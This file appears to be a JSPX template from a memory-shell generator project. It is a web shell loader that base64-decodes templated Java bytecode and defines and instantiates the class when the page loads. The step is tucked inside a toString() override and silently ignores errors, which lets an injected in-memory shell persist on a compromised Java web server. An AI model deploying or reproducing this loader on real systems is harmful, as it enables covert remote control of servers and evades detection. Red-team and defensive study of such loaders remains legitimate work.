MemShellParty/generator/src/main/resources/shell.jspx

<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
    <jsp:directive.page contentType="text/html"/>
    <jsp:directive.page pageEncoding="UTF-8"/>
    <jsp:declaration><![CDATA[
        public static class ClassDefiner extends ClassLoader {
            public ClassDefiner() {
                super(Thread.currentThread().getContextClassLoader());
            }

            public byte[] decodeBase64(String bytecodeBase64) {
                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                try {
                    Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
                    Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
                    Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
                    return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
                } catch (Exception ee) {
                    try {
                        Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
                        return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
                    } catch (Exception e) {
                        return null;
                    }
                }
            }

            public Class<?> defineClass(byte[] code) {
                return defineClass(null, code, 0, code.length);
            }

            @Override
            public String toString() {
                String className = "{{className}}";
                String base64Str = "{{base64Str}}";
                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                try {
                    classLoader.loadClass(className).newInstance();
                } catch (Exception e) {
                    try {
                        byte[] bytecode = decodeBase64(base64Str);
                        Class<?> clazz = defineClass(bytecode);
                        clazz.newInstance();
                    } catch (Exception ignored) {
                    }
                }
                return className;
            }
        }
        ]]></jsp:declaration>
    <jsp:scriptlet><![CDATA[
        new ClassDefiner().toString();
        ]]></jsp:scriptlet>
</jsp:root>